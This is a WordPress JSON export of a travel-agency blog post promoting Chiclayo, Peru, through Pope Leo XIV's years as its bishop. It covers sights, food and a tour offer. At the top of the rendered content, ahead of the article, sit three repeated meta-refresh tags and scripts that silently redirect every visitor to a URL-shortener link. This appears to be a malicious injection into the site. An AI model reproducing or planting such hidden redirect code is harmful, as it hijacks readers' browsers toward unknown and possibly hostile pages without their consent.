{"id":15053,"date":"2025-08-12T11:48:30","date_gmt":"2025-08-12T16:48:30","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=15053"},"modified":"2025-08-12T11:48:33","modified_gmt":"2025-08-12T16:48:33","slug":"chiclayo-discover-why-it-won-the-new-popes-heart","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/chiclayo-discover-why-it-won-the-new-popes-heart\/","title":{"rendered":"Chiclayo: Discover why It Won the New Pope\u2019s Heart"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>The elected Pope Leo XIV, born in Chicago in 1955, stepped onto the\u00a0balcony of St Peter on May 8, 2025. Instead of a standard \u201cHello, world!\u201d in English, his mother language, or Italian, he belts out a warm \u201c\u00a1Queridos hermanos!\u201d\u00a0<\/p>\n\n\n\n<p>Using Spanish, giving a heartfelt shout-out to \u201cmi amada Chiclayo en Per\u00fa,\u201d where \u201ca faithful people have shared their love and faith.\u201d&nbsp;<\/p>\n\n\n\n<p>That\u2019s bishop Robert Francis Prevost, the first United States&#8217; pope, who\u2019s so smitten with Chiclayo, Peru, that he practically considers himself more Peruvian than American.\u00a0<\/p>\n\n\n\n<p>Having lived there for decades, served as its bishop. He even become a naturalized Peruvian citizen in 2015; he\u2019s more likely to crave <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-ceviche-perus-national-dish\/\"><strong>ceviche<\/strong><\/a> than a Chicago hot dog.\u00a0<\/p>\n\n\n\n<p>So, what\u2019s the magic of Chiclayo, this northern Peruvian gem now blessed by a pope? Grab a cold <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/inca-kola-the-global-icon-of-peruvian-flavor\/\"><strong>\u201cInca Kola\u201d<\/strong><\/a> and join us for a tour in the&nbsp;\u201cCity of Friendship.\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>A Quick History: From Mud Huts to Papal Love<\/strong><\/h2>\n\n\n\n<p>Firstly, Chiclayo, the capital of Peru\u2019s Lambayeque region, isn\u2019t a postcard-perfect colonial city like Cusco. Officially founded in 1835, it\u2019s a young buck by Peruvian standards, but its backyard is littered with ancient treasures from the&nbsp; Sic\u00e1n and Moche cultures.<\/p>\n\n\n\n<p>&nbsp;Then, when the Spanish arrived in the 1500s, Chiclayo was a sleepy backwater, overshadowed by nearby Sa\u00f1a\u2014until pirates and El Ni\u00f1o floods turned Sa\u00f1a into a soggy ghost town by 1720.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"486\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=697%2C486&#038;ssl=1\" alt=\"Robert Prevost serving a genrous portion of peruvian food.\" class=\"wp-image-15056\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=1024%2C714&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=300%2C209&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?resize=768%2C535&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/rober-prevost-mision-chulucana.jpg?w=1090&amp;ssl=1 1090w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>Pope Leo XIV LOVES Peruvian food.<\/strong><\/figcaption><\/figure><\/div>\n\n\n<p>&nbsp;Chiclayo stepped up, its dusty, donkey-trodden streets slowly morphing into a commercial hub. By the 20th century, Chiclayo had earned its nickname \u201cLa Ciudad de la Amistad\u201d for its warm, no-nonsense vibe.<\/p>\n\n\n\n<p>As bishop of Chicalyo, Robert Prevost tackled poverty, floods, and even a pandemic while driving a beat-up white pickup truck and eating \u201cpapas con queso\u201d with villagers.&nbsp;<\/p>\n\n\n\n<p>Therefore, his Vatican greeting, praising Chiclayo\u2019s \u201cfaithful\u201d people, wasn\u2019t just lip service\u2014it was a love note to a city that adopted him as one of their own.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Must-See Spots: Tombs, Pyramids, and a Witchy Market<\/strong><\/h2>\n\n\n\n<p>Chiclayo might fly under the radar for some tourists, but it\u2019s a jackpot for anyone who loves history, adventure, or just plain weirdness.&nbsp;<\/p>\n\n\n\n<p>Bishop Robert Prevost surely explored these sites, maybe even joking about ancient gold while preaching humility. Here\u2019s the lineup:<\/p>\n\n\n\n<p><strong>Royal Tombs of Sip\u00e1n Museum: <\/strong>A 30-minute drive to Huaca Rajada unearths the<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-lord-of-sipan-perus-ancient-moche-secrets-unveiled\/\"><strong> tomb of the Lord of Sip\u00e1n<\/strong><\/a>, a Moche ruler buried around 300 CE with enough gold, silver, and turquoise to make a rapper jealous.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?resize=697%2C523&#038;ssl=1\" alt=\"\" class=\"wp-image-15632\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?resize=1536%2C1152&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/4730366114_ab980156b3_k.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;The museum in Lambayeque displays these treasures, dubbed the \u201cTutankhamun of the Americas.\u201d Prevost preferred this one to Chicago\u2019s Field Museum.\u201d<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>T\u00facume Pyramids:<\/strong> Nicknamed the \u201cValley of the Pyramids,\u201d this site boasts 26 adobe structures built by the Sic\u00e1n culture around 1000 CE.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"411\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?resize=697%2C411&#038;ssl=1\" alt=\"Tucume pyramids in Chiclayo\" class=\"wp-image-15542\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?resize=1024%2C604&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?resize=300%2C177&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?resize=768%2C453&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?resize=1536%2C906&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?w=1774&amp;ssl=1 1774w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/000646600W-1-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Some locals swear shamans still perform rituals here at night. Prevost, with his practical streak, probably admired the engineering while dodging stray goats.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>Mercado Modelo and the Witch Doctors\u2019 Market<\/strong>: Chiclayo\u2019s sprawling Modelo Market is a sensory explosion. You can imagine fresh mangoes, live chickens, and delicious street food.<\/p>\n\n\n\n<p>Also, we have the infamous \u201cmercado de brujos,\u201d where shamans sell everything from love potions to dried llama fetuses for good luck.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/aba87988-eca7-4f23-a591-4d071d184942.jpg?resize=697%2C523&#038;ssl=1\" alt=\"A section of &quot;Mercado de los brujos&quot; where you can find potions, herbs, amulets, and more.\" class=\"wp-image-15059\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/aba87988-eca7-4f23-a591-4d071d184942.jpg?resize=1024%2C768&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/aba87988-eca7-4f23-a591-4d071d184942.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/aba87988-eca7-4f23-a591-4d071d184942.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/aba87988-eca7-4f23-a591-4d071d184942.jpg?resize=640%2C480&amp;ssl=1 640w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/aba87988-eca7-4f23-a591-4d071d184942.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;Prevost, ever the people\u2019s bishop, likely strolled through, chatting with vendors who now brag, \u201cThe pope haggled for my herbs!\u201d<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<p><strong>Pimentel Beach: <\/strong>Finally, this nearby coastal town offers sandy shores, ceviche shacks, and caballitos de totora\u2014traditional reed boats used for fishing.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"406\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?resize=697%2C406&#038;ssl=1\" alt=\"\" class=\"wp-image-15633\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?resize=1024%2C596&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?resize=300%2C175&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?resize=768%2C447&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?resize=1536%2C895&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?resize=2048%2C1193&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/playa-pimentel.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Prevost, who loved connecting with locals, might\u2019ve kicked back here with a plate of fish and a Coke, his go-to drink.<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Food: A Tasty Ode to Chiclayo\u2019s Soul<\/strong><\/h2>\n\n\n\n<p>When he was the bishop of Chiclayo,&nbsp; Pope Leo XIV\u2019s taste buds were probably doing a happy dance, too. The city\u2019s cuisine blends coastal zest, Andean heartiness, and a dash of<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-of-peruvian-amazon-cuisine\/\"><strong>Peruvian Amazonian flair<\/strong><\/a>. Here\u2019s what Prevost likely savored:<\/p>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"383\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/647614f391686f082721e0d5.png?resize=697%2C383&#038;ssl=1\" alt=\"\" class=\"wp-image-15062 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/647614f391686f082721e0d5.png?resize=1024%2C563&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/647614f391686f082721e0d5.png?resize=300%2C165&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/647614f391686f082721e0d5.png?resize=768%2C422&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/647614f391686f082721e0d5.png?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Arroz con Pato: <\/strong>We have this cilantro-infused rice and duck dish, cooked with dark beer, which is Chiclayo\u2019s comfort food. Prevost, bouncing between parishes, probably wolfed this down with glee.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ceviche-peruano-1-1280x720-1.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-15544 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ceviche-peruano-1-1280x720-1.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ceviche-peruano-1-1280x720-1.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ceviche-peruano-1-1280x720-1.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/ceviche-peruano-1-1280x720-1.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Ceviche Norte\u00f1o<\/strong>: Forget Lima\u2019s fancy ceviche. Chiclayo\u2019s version, made with local corvina and spiked with aj\u00ed amarillo, is bold and beachy. Prevost, spotted at coastal eateries, surely loved this zesty dish.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/chicha-de-jora_800x534.webp?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-15543 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/chicha-de-jora_800x534.webp?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/chicha-de-jora_800x534.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/chicha-de-jora_800x534.webp?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/chicha-de-jora_800x534.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chicha-incas-legacy-in-a-glass\/\"><strong>Chicha de Jora<\/strong><\/a><strong>:<\/strong> This fermented corn drink, slightly boozy and refreshing, is a northern Peru staple. In Monsef\u00fa, a nearby village, chicha flows like water, and Prevost might\u2019ve raised a glass at community fiestas<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-12.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-15065 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-12.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-12.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-12.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/maxresdefault-12.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Espesado: <\/strong>A thick, <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-best-soups-in-peruvian-cuisine-a-warm-and-tasty-journey\/\"><strong>soul-warming soup<\/strong><\/a> of corn, beef, and veggies, popular in rural areas. Prevost, who ate whatever villagers offered, likely slurped this after long days in the Andes.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile is-image-fill-element\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/king-kong-dulce_800x534.webp?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-15545 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/king-kong-dulce_800x534.webp?w=800&amp;ssl=1 800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/king-kong-dulce_800x534.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/king-kong-dulce_800x534.webp?resize=768%2C513&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/king-kong-dulce_800x534.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>King Kong:<\/strong> Not the movie monster, but a giant <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-guide-to-perus-best-traditional-desserts\/\"><strong>layered dessert<\/strong><\/a> of cookies, dulce de leche, and pineapple jam. It\u2019s so big, it could feed a parish. Prevost, with his sweet tooth, might\u2019ve snuck a piece at a church bazaar.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n-1024x683-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-17617 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n-1024x683-1.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n-1024x683-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n-1024x683-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/486167315_1082941657199140_8674370943996541826_n-1024x683-1.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p><strong>Seco de Cabrito:<\/strong> Finally, we save the best for last. We can&#8217;t forget Pope Leo XIV&#8217;s favorite, <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/seco-de-cabrito-a-peruvian-stew-that-won-the-popes-heart\/\" title=\"\">seco de cabrito<\/a><\/strong>. This goat made stew, along with creamy beans and a zesty salad, promises to captivate your heart, too.<\/p>\n<\/div><\/div>\n\n\n\n<p>For instance, head to Mercado Modelo to taste these delights, where vendors dish out everything from <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-flavors-anticucho-the-beloved-street-food\/\"><strong>spicy anticuchos <\/strong><\/a>(grilled beef heart) to frothy chicha. Prevost navigated these stalls like a pro, probably joking with vendors who now swear, \u201cThe pope loved my food!\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Papal Glow: Chiclayo\u2019s Moment to Shine<\/strong><\/h2>\n\n\n\n<p>When Pope Leo XIV name-dropped Chiclayo from the Vatican, the city went wild. Cathedral bells rang in Lima, and locals like Isabel Panez called it \u201ca blessing for Peru.\u201d&nbsp;<\/p>\n\n\n\n<p>In conclusion, Chiclayo\u2019s challenges\u2014poverty, crime, floods\u2014persist, but Prevost\u2019s legacy as a bishop who walked with the poor gives hope.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"498\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?resize=697%2C498&#038;ssl=1\" alt=\"Robert Prevost as new pope, Leo XIV\" class=\"wp-image-15061\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?resize=1024%2C731&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?resize=300%2C214&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?resize=768%2C548&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?resize=1536%2C1097&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/001167862W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>&nbsp;His vision of a \u201cmissionary church\u201d that \u201cwelcomes all\u201d mirrors Chiclayo\u2019s friendly spirit, where strangers are offered a seat and a steaming plate of \u201carroz con pato\u201d.<\/p>\n\n\n\n<p>For travelers, Chiclayo is now a pilgrimage spot. Visit the neo-classical cathedral where Prevost prayed, gawk at Sip\u00e1n\u2019s golden treasures, or sip Chiclayo\u2019s chicha in Monsef\u00fa\u2019s lively bars.&nbsp;<\/p>\n\n\n\n<p>You\u2019ll find a city that\u2019s gritty yet generous, where ancient pyramids meet modern hustle, and where a pope swapped Chicago\u2019s deep-dish for &#8220;ceviche&#8221; and never looked back.&nbsp;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>Chiclayo, blessed by Leo XIV, is ready to win your heart too. Finally, for Chiclayo, or the rest of Peru, you can rely on <strong>Viagens Machu Picchu<\/strong>.&nbsp;<\/p>\n\n\n\n<p>So, feel free to <a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\"><strong>contact us<\/strong><\/a> so you can get info about our best deals, promotions, and tailor-made tours! The adventure in the new pope\u2019s favorite place awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu:<\/em><\/strong>&nbsp;<strong>Journeys<em>&nbsp;that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Chiclayo, Peru, now glows with papal pride thanks to Pope Leo XIV, the first U.S. pope with Peruvian roots. Explore ancient tombs, witch markets, and world-class ceviche in this vibrant city where faith, flavor, and history blend under the \u201cCity of Friendship\u201d banner.<\/p>\n","protected":false},"author":1,"featured_media":15055,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,194,1833,192],"tags":[3374,5459,5467,5462,5460,5464,1900,5458,5463,5468,5461,5466,3223,5465],"class_list":["post-15053","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-destinations","category-documentary","category-experiences","tag-arroz-con-pato","tag-balcony-of-st-peter","tag-bishop-of-chiclayo","tag-bishop-robert-prevost","tag-born-in-chicago-in-1955","tag-ceviche-norteno","tag-chicha-de-jora","tag-chiclayo-in-peru","tag-elected-pope-leo-xiv","tag-king-kong","tag-peru